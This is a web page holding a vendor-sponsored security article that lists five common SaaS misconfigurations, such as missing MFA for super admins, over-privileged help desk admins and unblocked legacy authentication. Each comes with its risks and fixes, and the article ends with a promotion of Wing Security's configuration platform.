Matt Middleton-Leal is Managing Director for EMEA North at Qualys, a pioneer and leading provider of disruptive cloud-based IT, security and compliance solutions designed to streamline and consolidate customer’s security and compliance solutions in a single platform. Qualys helps organizations build security into digital transformation initiatives for greater agility, better business outcomes, and substantial cost savings. Matt has over 20 years' experience in the cybersecurity industry with a deep understanding of both customers' and suppliers' needs. Matt is also a Certified Information Systems Security Professional (CISSP®).

Developer Velocity &amp; Security: Can You Get Out of the Way in Time?

With so many SaaS applications, a range of configuration options, API capabilities, endless integrations, and app-to-app connections, the SaaS risk possibilities are endless. Critical organizational assets and data are at risk from malicious actors, data breaches, and insider threats, which pose many challenges for security teams.
Misconfigurations are silent killers, leading to major

SaaS Security / Insider Threat

With so many SaaS applications, a range of configuration options, API capabilities, endless integrations, and app-to-app connections, the SaaS risk possibilities are endless. Critical organizational assets and data are at risk from malicious actors, data breaches, and insider threats, which pose many challenges for security teams.

_Misconfigurations are silent killers, leading to major vulnerabilities._

So, how can CISOs reduce the noise? What misconfiguration should security teams focus on first? Here are five major SaaS configuration mistakes that can lead to security breaches.

****#1 Misconfiguration: HelpDesk Admins Have Excessive Privileges****

*   **Risk:** Help desk teams have access to sensitive account management functions making them prime targets for attackers. Attackers can exploit this by convincing help desk personnel to reset MFA for privileged users, gaining unauthorized access to critical systems.
*   **Impact:** Compromised help desk accounts can lead to unauthorized changes to admin-level features enabling the attackers to gain access to critical data and business systems.
*   **Action:** Restrict help desk privileges to basic user management tasks and limit changes to admin-level settings.

Use Case: The MGM Resort Cyberattack -> In September 2023, MGM Resorts International became the target of a sophisticated cyberattack. The attackers, allegedly part of a cybercriminal gang known as Scattered Spider (also referred to as Roasted 0ktapus or UNC3944), used social engineering tactics to penetrate MGM's defenses.

****#2 Misconfiguration: MFA Not Enabled for All Super Admins****

*   **Risk:** Super admin accounts without MFA are high-value targets for attackers due to their elevated access privileges. If MFA is not enforced, attackers can easily exploit weak or stolen credentials to compromise these critical accounts.
*   **Impact:** A successful breach of a super admin account can lead to the attacker getting full control over the entire organization's SaaS environment, resulting in potential data breaches and business and reputational damage.
*   **Action:** Enforce MFA for all active super admins to add an extra layer of security, and safeguard these high-privilege accounts.

****#3 Misconfiguration: Legacy Authentication Not Blocked by Conditional Access****

*   **Risk:** Legacy protocols like POP, IMAP, and SMTP are still commonly used in Microsoft 365 environments, yet they don't support MFA. These outdated protocols create significant vulnerabilities and without Conditional Access enforcement, attackers can bypass security measures and infiltrate sensitive systems.
*   **Impact:** These outdated protocols make accounts more vulnerable to credential-based attacks, such as brute-force or phishing attacks, making it easier for attackers to gain access.
*   **Action**: Enable Conditional Access to block legacy authentication and enforce modern, more secure authentication methods.

****#4 Misconfiguration: Super Admin Count Not Within Recommended Limits****

*   **Risk:** Super admins manage critical system settings and mainly have unrestricted access to various workspaces. Too many or too few super admins increase the risk by overexposing sensitive controls or the operational risk of losing access and being locked out of critical business systems.
*   **Impact:** Unrestricted access to critical system settings can lead to catastrophic changes or loss of control over security configurations resulting in security breaches.
*   **Action:** Maintain a balance of 2-4 super admins (excluding "break-glass" accounts), for both security and continuity, as per CISA's SCuBA recommendations.

****#5 Misconfiguration: Google Groups (Join / View / Post) View Settings****

*   **Risk:** Misconfigured Google Group settings can expose sensitive data shared via Google Workspace to unauthorized users. This exposure increases insider risks, where a legitimate user could intentionally or unintentionally leak or misuse the data.
*   **Impact:** Confidential information, such as legal documents, could be accessed by anyone in the organization or external parties, increasing the risk of insider misuse or data leaks.
*   **Action:** ensure that only authorized users can view and access group content to prevent accidental exposure and mitigate insider risk.

Proactively identifying and fixing SaaS misconfigurations saves organizations from catastrophic events impacting business continuity and reputation, but it's not a one-time project. Identifying and fixing these SaaS misconfigurations needs to be continuous because of the constantly changing nature of SaaS applications. SaaS security platforms like Wing Security, quickly identify, prioritize, and help you fix potential risks continuously.

Wing's configuration center, based on CISA's SCuBA framework, cuts through the noise and highlights the most critical misconfigurations, offering clear, actionable steps to resolve them. With real-time monitoring, compliance tracking, and an audit trail, it ensures the organization's SaaS environment stays secure and compliance-ready.

By centralizing the management of your SaaS configurations, Wing Security helps prevent the major security slip-ups that critical misconfigurations can lead to. Get a SaaS security risk assessment today of your organization's SaaS environment to take control of your misconfigurations before they lead to critical data breaches.

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